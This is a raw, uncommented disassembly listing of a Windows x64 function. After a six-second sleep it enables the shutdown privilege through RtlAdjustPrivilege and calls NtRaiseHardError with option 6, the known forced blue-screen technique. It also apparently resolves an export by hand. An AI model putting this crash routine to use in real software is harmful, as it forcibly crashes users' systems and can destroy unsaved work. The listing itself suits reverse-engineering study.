mov byte [rbp + 0x180], bl
lea rax, [rbp + 0x50]
mov qword [rbp + 0x188], rax
mov ecx, 0xa0
call fcn.1400ba130
mov rsi, rax
mov qword [rbp + 0x190], rax
lea rbx, [rax + 0xa0]
mov qword [rbp + 0x1a0], rbx
mov r8d, 0xa0
lea rdx, [rbp + 0xf0]
mov rcx, rax
call fcn.1400f18a0
mov qword [rbp + 0x198], rbx
mov rdi, rsi
cmp rsi, rbx
je 0x1400acf1d
nop
cmp byte [rdi], 0
je 0x1400acf10
lea rax, [rbp - 0x20]
mov qword [rbp + 0x520], rax
mov rdx, qword [rdi + 8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r15
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400ace60
lea rcx, [rbp - 0x20]
call fcn.140061160
nop
mov rdx, qword [0x1402442c8]
add rdx, 0x100
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1400acea1
lea rcx, [rbp + 0xb0]
call fcn.140061160
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0xb0]
call fcn.140098570
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rbp + 0x528]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0x538]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
add rdi, 0x10
cmp rdi, rbx
jne 0x1400ace30
test rsi, rsi
je 0x1400acf55
sub rbx, rsi
and rbx, 0xfffffffffffffff0
cmp rbx, 0x1000
jb 0x1400acf4a
add rbx, 0x27
mov rcx, qword [rsi - 8]
sub rsi, rcx
lea rax, [rsi - 8]
cmp rax, 0x1f
ja 0x1400acfb2
mov rsi, rcx
mov rdx, rbx
mov rcx, rsi
call fcn.1400b9d58
add rsp, 0x5d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r9
je 0x1400acc28
xor r9d, r9d
lea r8d, [r9 + 8]
lea rdx, [rbp + 0x530]
lea ecx, [r9 + 0x67]
call rax
mov edx, dword [rbp + 0x534]
shr edx, 1
and dl, 1
jmp 0x1400acc2a
inc r10
cmp byte [r10], bl
jne 0x1400acd17
jmp 0x1400acd87
call fcn.1400d3378
int3